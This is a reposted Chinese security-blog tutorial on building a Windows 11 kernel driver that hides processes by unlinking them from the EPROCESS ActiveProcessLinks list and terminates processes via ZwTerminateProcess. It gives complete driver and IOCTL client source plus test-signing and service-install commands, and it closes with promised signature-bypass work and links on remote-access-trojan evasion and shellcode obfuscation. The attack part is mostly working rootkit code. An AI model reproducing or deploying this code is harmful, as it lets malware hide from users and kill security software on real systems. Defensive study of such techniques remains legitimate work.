【安全研究】使用内核驱动程序来隐藏和终止进程

admin 2026-03-03 04:10:52 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细阐述如何在Windows11环境下利用内核驱动程序实现进程隐藏与终止。内容涵盖环境配置、ActiveProcessLinks偏移量定位、内核驱动开发及用户模式通信机制。通过解链EPROCESS结构和调用ZwTerminateProcess,实现了进程从任务管理器隐藏及强制结束功能。文章附带完整内核与用户层源码,技术深度较高,为安全研究人员提供了极具操作性的底层技术参考。 综合评分: 92 文章分类: 红队,二进制安全,渗透测试,实战经验


cover_image

【安全研究】使用内核驱动程序来隐藏和终止进程

原创

安全研究员 安全研究员

CppGuide

2026年2月27日 14:30 上海

在本文中,我们将探讨如何使用Windows内核模式驱动程序来隐藏和终止进程。

配置Windows 11虚拟机,确保安全启动已禁用。使用bcdedit启用测试签名模式,以便我们安装未签名的内核驱动程序。

bcdedit /debug on
bcdedit /set testsigning on

你需要计算ActiveProcessLinks数据结构的偏移量。我正在Windows 11 24H2虚拟机上对此进行测试。

0: kd> dt nt!_EPROCESS
   +0x000 Pcb              : _KPROCESS
   +0x1c8 ProcessLock      : _EX_PUSH_LOCK
   +0x1d0 UniqueProcessId  : Ptr64 Void
   +0x1d8 ActiveProcessLinks : _LIST_ENTRY

在我们的Windows 11 24H2系统上,可以看到偏移量是0x1d8。

在Visual Studio中创建一个内核驱动程序项目,并导入以下内容。为简洁起见,此代码硬编码了进程ID(PID)值。这是将从任务管理器中隐藏的PID。

#include&nbsp;<Ntifs.h>
#include&nbsp;<ntddk.h>

VOID HideProcessByPid(ULONG pidToHide);

NTSTATUS DriverUnload(_In_ PDRIVER_OBJECT driverObject) {
&nbsp; &nbsp; UNREFERENCED_PARAMETER(driverObject);
&nbsp; &nbsp; KdPrint(("[+] Unloading driver\n"));
&nbsp; &nbsp;&nbsp;return&nbsp;STATUS_SUCCESS;
}

NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT driverObject, _In_ PUNICODE_STRING registryPath) {
&nbsp; &nbsp; UNREFERENCED_PARAMETER(registryPath);
&nbsp; &nbsp; KdPrint(("[+] Driver loaded\n"));
&nbsp; &nbsp; driverObject->DriverUnload = DriverUnload;

&nbsp; &nbsp; ULONG pidToHide = 9636;
&nbsp; &nbsp; KdPrint(("[+] Calling Hide Process...\n"));
&nbsp; &nbsp; HideProcessByPid(pidToHide);
&nbsp; &nbsp; KdPrint(("[+] Called Hide Process\n"));
&nbsp; &nbsp;&nbsp;return&nbsp;STATUS_SUCCESS;
}

VOID HideProcessByPid(ULONG pidToHide) {
&nbsp; &nbsp; PEPROCESS targetProcess = NULL;
&nbsp; &nbsp; PLIST_ENTRY activeProcLinks;
&nbsp; &nbsp; PLIST_ENTRY prevEntry, nextEntry;

&nbsp; &nbsp; KdPrint(("[+] Looking up process...\n"));

&nbsp; &nbsp;&nbsp;if&nbsp;(NT_SUCCESS(PsLookupProcessByProcessId((HANDLE)pidToHide, &targetProcess))) {
&nbsp; &nbsp; &nbsp; &nbsp; KdPrint(("[+] Lookup worked\n"));

&nbsp; &nbsp; &nbsp; &nbsp; // 0x1d8 = Windows 11 24H2 ActiveLinks Offset
&nbsp; &nbsp; &nbsp; &nbsp; activeProcLinks = (PLIST_ENTRY)((ULONG_PTR)targetProcess + 0x1d8);

&nbsp; &nbsp; &nbsp; &nbsp; prevEntry = activeProcLinks->Blink;
&nbsp; &nbsp; &nbsp; &nbsp; nextEntry = activeProcLinks->Flink;

&nbsp; &nbsp; &nbsp; &nbsp; DbgPrint("[*] targetProcess: %p\n", targetProcess);
&nbsp; &nbsp; &nbsp; &nbsp; DbgPrint("[*] activeProcLinks: %p\n", activeProcLinks);
&nbsp; &nbsp; &nbsp; &nbsp; DbgPrint("[*] prevEntry: %p\n", prevEntry);
&nbsp; &nbsp; &nbsp; &nbsp; DbgPrint("[*] nextEntry: %p\n", nextEntry);

&nbsp; &nbsp; &nbsp; &nbsp; // Unlink the process from the list
&nbsp; &nbsp; &nbsp; &nbsp; prevEntry->Flink = nextEntry;
&nbsp; &nbsp; &nbsp; &nbsp; nextEntry->Blink = prevEntry;
&nbsp; &nbsp; &nbsp; &nbsp; ObDereferenceObject(targetProcess);

&nbsp; &nbsp; &nbsp; &nbsp; KdPrint(("[-] Process with PID %d hidden\n", pidToHide));
&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;else&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; KdPrint(("[-] Failed to find process with PID %d\n", pidToHide));
&nbsp; &nbsp; }
}

请确保编译驱动程序的调试版本(而非发布版本),因为这样我们才能看到正在打印的调试消息。

使用sc 启动驱动程序。

C:\>sc create MyDriver&nbsp;type= kernel binPath= C:\MyDriver.sys
[SC] CreateService SUCCESS

C:\Users\user\Desktop>sc start MyDriver

SERVICE_NAME: MyDriver
&nbsp; &nbsp; &nbsp; &nbsp; TYPE &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; : 1 &nbsp;KERNEL_DRIVER
&nbsp; &nbsp; &nbsp; &nbsp; STATE &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;: 4 &nbsp;RUNNING
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
&nbsp; &nbsp; &nbsp; &nbsp; WIN32_EXIT_CODE &nbsp; &nbsp;: 0 &nbsp;(0x0)
&nbsp; &nbsp; &nbsp; &nbsp; SERVICE_EXIT_CODE &nbsp;: 0 &nbsp;(0x0)
&nbsp; &nbsp; &nbsp; &nbsp; CHECKPOINT &nbsp; &nbsp; &nbsp; &nbsp; : 0x0
&nbsp; &nbsp; &nbsp; &nbsp; WAIT_HINT &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;: 0x0
&nbsp; &nbsp; &nbsp; &nbsp; PID &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;: 0
&nbsp; &nbsp; &nbsp; &nbsp; FLAGS &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;:

微软DebugView可用于查看驱动程序打印的调试消息。

在DebugView中,进入“Capture”菜单,并确保勾选以下选项。

  • Capture Kernel_
  • Capture Win32_
  • Capture Global Win32_
  • Pass-Through_

驱动程序加载后,你应该会看到它识别出进程句柄、ActiveProcessLinks偏移量以及指向前后进程项的指针。

此时,我们在代码中指向的PID将在任务管理器中隐藏。

与用户模式下的进程通信

我们不必保留硬编码的PID值,而是可以编写一个用户模式应用程序,该程序能够通过IOCTL(输入/输出控制)与内核驱动程序进行通信。

要发送和接收这些请求,需使用DeviceIoControl函数并附带以下参数。

DeviceIoControl(
&nbsp; &nbsp; hDevice, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; // handle to device (from CreateFile)
&nbsp; &nbsp; IOCTL_MY_COMMAND, &nbsp; &nbsp; &nbsp;// control code (IOCTL)
&nbsp; &nbsp; inputBuffer, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; // pointer to input buffer (optional)
&nbsp; &nbsp; inputBufferSize, &nbsp; &nbsp; &nbsp; // size of input buffer
&nbsp; &nbsp; outputBuffer, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;// pointer to output buffer (optional)
&nbsp; &nbsp; outputBufferSize, &nbsp; &nbsp; &nbsp;// size of output buffer
&nbsp; &nbsp; &bytesReturned, &nbsp; &nbsp; &nbsp; &nbsp;// bytes returned
&nbsp; &nbsp; NULL &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; // overlapped (for&nbsp;async)
);

此外,我们还将添加使用ZwTerminateProcess例程终止进程的功能。

驱动程序代码

#include&nbsp;<Ntifs.h>
#include&nbsp;<ntddk.h>

#define&nbsp;IOCTL_HIDE_PROCESS CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define&nbsp;IOCTL_KILL_PROCESS CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS)

#define&nbsp;PROCESS_TERMINATE 0x0001

VOID HideProcessByPid(ULONG pidToHide);
NTSTATUS KillProcessByPid(ULONG pidToKill);

NTSTATUS DriverUnload(_In_ PDRIVER_OBJECT driverObject) {
&nbsp; &nbsp; UNICODE_STRING symLink = RTL_CONSTANT_STRING(L"\\DosDevices\\HideProc");

&nbsp; &nbsp; IoDeleteSymbolicLink(&symLink);
&nbsp; &nbsp; IoDeleteDevice(driverObject->DeviceObject);

&nbsp; &nbsp; KdPrint(("[+] Unloading driver\n"));
&nbsp; &nbsp;&nbsp;return&nbsp;STATUS_SUCCESS;
}

NTSTATUS DriverCreateClose(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
&nbsp; &nbsp; UNREFERENCED_PARAMETER(DeviceObject);
&nbsp; &nbsp; Irp->IoStatus.Status = STATUS_SUCCESS;
&nbsp; &nbsp; Irp->IoStatus.Information = 0;
&nbsp; &nbsp; IoCompleteRequest(Irp, IO_NO_INCREMENT);
&nbsp; &nbsp;&nbsp;return&nbsp;STATUS_SUCCESS;
}

NTSTATUS DriverDeviceControl(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
&nbsp; &nbsp; UNREFERENCED_PARAMETER(DeviceObject);

&nbsp; &nbsp; PIO_STACK_LOCATION stack = IoGetCurrentIrpStackLocation(Irp);
&nbsp; &nbsp; ULONG controlCode = stack->Parameters.DeviceIoControl.IoControlCode;
&nbsp; &nbsp; ULONG inputLen = stack->Parameters.DeviceIoControl.InputBufferLength;

&nbsp; &nbsp; NTSTATUS status = STATUS_INVALID_DEVICE_REQUEST;

&nbsp; &nbsp;&nbsp;if&nbsp;(inputLen == sizeof(ULONG)) {
&nbsp; &nbsp; &nbsp; &nbsp; ULONG pid = *(ULONG*)Irp->AssociatedIrp.SystemBuffer;

&nbsp; &nbsp; &nbsp; &nbsp; switch (controlCode) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;case&nbsp;IOCTL_HIDE_PROCESS:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; KdPrint(("[+] IOCTL_HIDE_PROCESS received for PID %u\n", pid));
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; HideProcessByPid(pid);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; status = STATUS_SUCCESS;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break;

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;case&nbsp;IOCTL_KILL_PROCESS:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; KdPrint(("[+] IOCTL_KILL_PROCESS received for PID %u\n", pid));
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; status = KillProcessByPid(pid);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break;

&nbsp; &nbsp; &nbsp; &nbsp; default:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; KdPrint(("[-] Unknown IOCTL code: 0x%08X\n", controlCode));
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break;
&nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; Irp->IoStatus.Information = 0;
&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;else&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; KdPrint(("[-] Invalid input size: %u\n", inputLen));
&nbsp; &nbsp; &nbsp; &nbsp; status = STATUS_BUFFER_TOO_SMALL;
&nbsp; &nbsp; }

&nbsp; &nbsp; Irp->IoStatus.Status = status;
&nbsp; &nbsp; IoCompleteRequest(Irp, IO_NO_INCREMENT);
&nbsp; &nbsp;&nbsp;return&nbsp;status;
}

NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT driverObject, _In_ PUNICODE_STRING registryPath) {
&nbsp; &nbsp; PDEVICE_OBJECT deviceObject = NULL;
&nbsp; &nbsp; UNICODE_STRING deviceName = RTL_CONSTANT_STRING(L"\\Device\\HideProcDevice");
&nbsp; &nbsp; UNICODE_STRING symLink = RTL_CONSTANT_STRING(L"\\DosDevices\\HideProc");

&nbsp; &nbsp; UNREFERENCED_PARAMETER(registryPath);

&nbsp; &nbsp; NTSTATUS status = IoCreateDevice(
&nbsp; &nbsp; &nbsp; &nbsp; driverObject,
&nbsp; &nbsp; &nbsp; &nbsp; 0,
&nbsp; &nbsp; &nbsp; &nbsp; &deviceName,
&nbsp; &nbsp; &nbsp; &nbsp; FILE_DEVICE_UNKNOWN,
&nbsp; &nbsp; &nbsp; &nbsp; FILE_DEVICE_SECURE_OPEN,
&nbsp; &nbsp; &nbsp; &nbsp; FALSE,
&nbsp; &nbsp; &nbsp; &nbsp; &deviceObject
&nbsp; &nbsp; );

&nbsp; &nbsp;&nbsp;if&nbsp;(!NT_SUCCESS(status)) {
&nbsp; &nbsp; &nbsp; &nbsp; KdPrint(("[-] Failed to create device (0x%08X)\n", status));
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;status;
&nbsp; &nbsp; }

&nbsp; &nbsp; status = IoCreateSymbolicLink(&symLink, &deviceName);
&nbsp; &nbsp;&nbsp;if&nbsp;(!NT_SUCCESS(status)) {
&nbsp; &nbsp; &nbsp; &nbsp; IoDeleteDevice(deviceObject);
&nbsp; &nbsp; &nbsp; &nbsp; KdPrint(("[-] Failed to create symbolic link (0x%08X)\n", status));
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;status;
&nbsp; &nbsp; }

&nbsp; &nbsp; driverObject->MajorFunction[IRP_MJ_CREATE] = DriverCreateClose;
&nbsp; &nbsp; driverObject->MajorFunction[IRP_MJ_CLOSE] = DriverCreateClose;
&nbsp; &nbsp; driverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DriverDeviceControl;

&nbsp; &nbsp; driverObject->DriverUnload = DriverUnload;

&nbsp; &nbsp; KdPrint(("[+] Driver loaded\n"));
&nbsp; &nbsp;&nbsp;return&nbsp;STATUS_SUCCESS;

}

NTSTATUS KillProcessByPid(ULONG pidToKill)
{
&nbsp; &nbsp; NTSTATUS status;
&nbsp; &nbsp; HANDLE processHandle;
&nbsp; &nbsp; OBJECT_ATTRIBUTES objAttr;
&nbsp; &nbsp; CLIENT_ID clientId;

&nbsp; &nbsp; InitializeObjectAttributes(&objAttr, NULL, OBJ_KERNEL_HANDLE, NULL, NULL);
&nbsp; &nbsp; clientId.UniqueProcess = (HANDLE)(ULONG_PTR)pidToKill;
&nbsp; &nbsp; clientId.UniqueThread = NULL;

&nbsp; &nbsp; // Open a handle to the process
&nbsp; &nbsp; status = ZwOpenProcess(&processHandle, PROCESS_TERMINATE, &objAttr, &clientId);
&nbsp; &nbsp;&nbsp;if&nbsp;(!NT_SUCCESS(status)) {
&nbsp; &nbsp; &nbsp; &nbsp; KdPrint(("[-] ZwOpenProcess failed for PID %u: 0x%X\n", pidToKill, status));
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;status;
&nbsp; &nbsp; }

&nbsp; &nbsp; // Terminate the process
&nbsp; &nbsp; status = ZwTerminateProcess(processHandle, STATUS_SUCCESS);
&nbsp; &nbsp;&nbsp;if&nbsp;(!NT_SUCCESS(status)) {
&nbsp; &nbsp; &nbsp; &nbsp; KdPrint(("[-] ZwTerminateProcess failed for PID %u: 0x%X\n", pidToKill, status));
&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;else&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; KdPrint(("[+] Successfully terminated PID %u\n", pidToKill));
&nbsp; &nbsp; }

&nbsp; &nbsp; ZwClose(processHandle);
&nbsp; &nbsp;&nbsp;return&nbsp;status;
}

VOID HideProcessByPid(ULONG pidToHide) {
&nbsp; &nbsp; PEPROCESS targetProcess = NULL;
&nbsp; &nbsp; PLIST_ENTRY activeProcLinks;
&nbsp; &nbsp; PLIST_ENTRY prevEntry, nextEntry;

&nbsp; &nbsp; KdPrint(("[+] Looking up process...\n"));

&nbsp; &nbsp;&nbsp;if&nbsp;(NT_SUCCESS(PsLookupProcessByProcessId((HANDLE)pidToHide, &targetProcess))) {
&nbsp; &nbsp; &nbsp; &nbsp; KdPrint(("[+] Lookup worked\n"));

&nbsp; &nbsp; &nbsp; &nbsp; // 0x1d8 = Windows 11 24H2 ActiveLinks Offset
&nbsp; &nbsp; &nbsp; &nbsp; activeProcLinks = (PLIST_ENTRY)((ULONG_PTR)targetProcess + 0x1d8);

&nbsp; &nbsp; &nbsp; &nbsp; prevEntry = activeProcLinks->Blink;
&nbsp; &nbsp; &nbsp; &nbsp; nextEntry = activeProcLinks->Flink;

&nbsp; &nbsp; &nbsp; &nbsp; DbgPrint("[*] targetProcess: %p\n", targetProcess);
&nbsp; &nbsp; &nbsp; &nbsp; DbgPrint("[*] activeProcLinks: %p\n", activeProcLinks);
&nbsp; &nbsp; &nbsp; &nbsp; DbgPrint("[*] prevEntry: %p\n", prevEntry);
&nbsp; &nbsp; &nbsp; &nbsp; DbgPrint("[*] nextEntry: %p\n", nextEntry);

&nbsp; &nbsp; &nbsp; &nbsp; // Unlink the process from the list
&nbsp; &nbsp; &nbsp; &nbsp; prevEntry->Flink = nextEntry;
&nbsp; &nbsp; &nbsp; &nbsp; nextEntry->Blink = prevEntry;

&nbsp; &nbsp; &nbsp; &nbsp; // Nullify the processes BLINK/FLINK. Failure to&nbsp;do&nbsp;so will cause a crash when the process closes.
&nbsp; &nbsp; &nbsp; &nbsp; activeProcLinks->Flink = activeProcLinks;
&nbsp; &nbsp; &nbsp; &nbsp; activeProcLinks->Blink = activeProcLinks;

&nbsp; &nbsp; &nbsp; &nbsp; ObDereferenceObject(targetProcess);

&nbsp; &nbsp; &nbsp; &nbsp; KdPrint(("[-] Process with PID %d hidden\n", pidToHide));
&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;else&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; KdPrint(("[-] Failed to find process with PID %d\n", pidToHide));
&nbsp; &nbsp; }
}

用户模式程序代码

将以下内容编译为一个C++命令行应用程序。

#define&nbsp;WIN32_LEAN_AND_MEAN
#include&nbsp;<windows.h>
#include&nbsp;<winioctl.h>
#include&nbsp;<stdio.h>
#include&nbsp;<stdlib.h>
#include&nbsp;<string.h>

#define&nbsp;FILE_DEVICE_UNKNOWN 0x00000022
#define&nbsp;METHOD_BUFFERED &nbsp; &nbsp; 0
#define&nbsp;FILE_ANY_ACCESS &nbsp; &nbsp; 0

#define&nbsp;IOCTL_HIDE_PROCESS &nbsp;CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define&nbsp;IOCTL_KILL_PROCESS &nbsp;CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS)

int main(int argc, char** argv) {
&nbsp; &nbsp;&nbsp;if&nbsp;(argc != 3) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;printf("Usage: %s <PID> <hide|kill>\n", argv[0]);
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;printf("Example: %s 1234 hide\n", argv[0]);
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;printf(" &nbsp; &nbsp; &nbsp; &nbsp; %s 1234 kill\n", argv[0]);
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;1;
&nbsp; &nbsp; }

&nbsp; &nbsp; // Parse PID
&nbsp; &nbsp; char* endptr = NULL;
&nbsp; &nbsp; ULONG pid = strtoul(argv[1], &endptr, 10);
&nbsp; &nbsp;&nbsp;if&nbsp;(endptr == argv[1] || *endptr !=&nbsp;'\0'&nbsp;|| pid == 0) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;printf("[-] Invalid PID: %s\n", argv[1]);
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;2;
&nbsp; &nbsp; }

&nbsp; &nbsp; // Determine action: hide or&nbsp;kill
&nbsp; &nbsp; DWORD ioctlCode = 0;
&nbsp; &nbsp;&nbsp;if&nbsp;(_stricmp(argv[2],&nbsp;"hide") == 0) {
&nbsp; &nbsp; &nbsp; &nbsp; ioctlCode = IOCTL_HIDE_PROCESS;
&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;elseif&nbsp;(_stricmp(argv[2],&nbsp;"kill") == 0) {
&nbsp; &nbsp; &nbsp; &nbsp; ioctlCode = IOCTL_KILL_PROCESS;
&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;else&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;printf("[-] Invalid action: %s. Use 'hide' or 'kill'.\n", argv[2]);
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;3;
&nbsp; &nbsp; }

&nbsp; &nbsp;&nbsp;printf("[+] Sending '%s' request for PID %lu to driver...\n", argv[2], pid);

&nbsp; &nbsp; // Open handle to driver
&nbsp; &nbsp; HANDLE hDevice = CreateFileA(
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"\\\\.\\HideProc",
&nbsp; &nbsp; &nbsp; &nbsp; GENERIC_WRITE,
&nbsp; &nbsp; &nbsp; &nbsp; 0,
&nbsp; &nbsp; &nbsp; &nbsp; NULL,
&nbsp; &nbsp; &nbsp; &nbsp; OPEN_EXISTING,
&nbsp; &nbsp; &nbsp; &nbsp; FILE_ATTRIBUTE_NORMAL,
&nbsp; &nbsp; &nbsp; &nbsp; NULL
&nbsp; &nbsp; );

&nbsp; &nbsp;&nbsp;if&nbsp;(hDevice == INVALID_HANDLE_VALUE) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;printf("[-] Failed to open device: %lu\n", GetLastError());
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;4;
&nbsp; &nbsp; }

&nbsp; &nbsp; DWORD bytesReturned = 0;
&nbsp; &nbsp; BOOL success = DeviceIoControl(
&nbsp; &nbsp; &nbsp; &nbsp; hDevice,
&nbsp; &nbsp; &nbsp; &nbsp; ioctlCode,
&nbsp; &nbsp; &nbsp; &nbsp; &pid,
&nbsp; &nbsp; &nbsp; &nbsp; sizeof(pid),
&nbsp; &nbsp; &nbsp; &nbsp; NULL,
&nbsp; &nbsp; &nbsp; &nbsp; 0,
&nbsp; &nbsp; &nbsp; &nbsp; &bytesReturned,
&nbsp; &nbsp; &nbsp; &nbsp; NULL
&nbsp; &nbsp; );

&nbsp; &nbsp;&nbsp;if&nbsp;(success) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;printf("[+] IOCTL sent successfully to %s PID %lu\n", argv[2], pid);
&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;else&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;printf("[-] DeviceIoControl failed: %lu\n", GetLastError());
&nbsp; &nbsp; }

&nbsp; &nbsp; CloseHandle(hDevice);
&nbsp; &nbsp;&nbsp;return&nbsp;success ? 0 : 5;
}

和之前一样,请确保驱动程序已加载,然后运行客户端并指定您想要隐藏的PID值。

注意事项

内核驱动程序通常需要由微软颁发的数字签名才能成功安装。在后续文章中,我们将探讨如何绕过这一限制来加载我们的驱动程序。

推荐阅读

银狐远控问题排查与修复——Viusal Studio集成Google Address Sanitizer排查内存问题

银狐远控代码中差异屏幕bug修复

银狐远程屏幕内存优化方法探究

银狐远程软件bug修复记录 第03篇

银狐远程软件 UDP 断线无法重连的bug排查和修复

银狐远程软件代理映射功能优化思路分享

银狐远程软件去后门方法

银狐远控一键编译调试与开发教程

银狐远控免杀与shellcode修复思路分析 01

银狐ShellCode混淆怪招

详解银狐远控源码中那些C++编码问题

给银狐远控增加一个小功能01

银狐远控的被控端是如何隐藏和保护自己的

从银狐复制和转移客户功能的bug说起……

谈几点银狐源码学习感悟

客户端软件的结构设计思考(一)——以银狐主控为例

由于银狐远控,被*安找了

银狐后台桌面实现原理详解(一)


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:CppGuide 安全研究员 安全研究员《【安全研究】使用内核驱动程序来隐藏和终止进程》

评论:0   参与:  0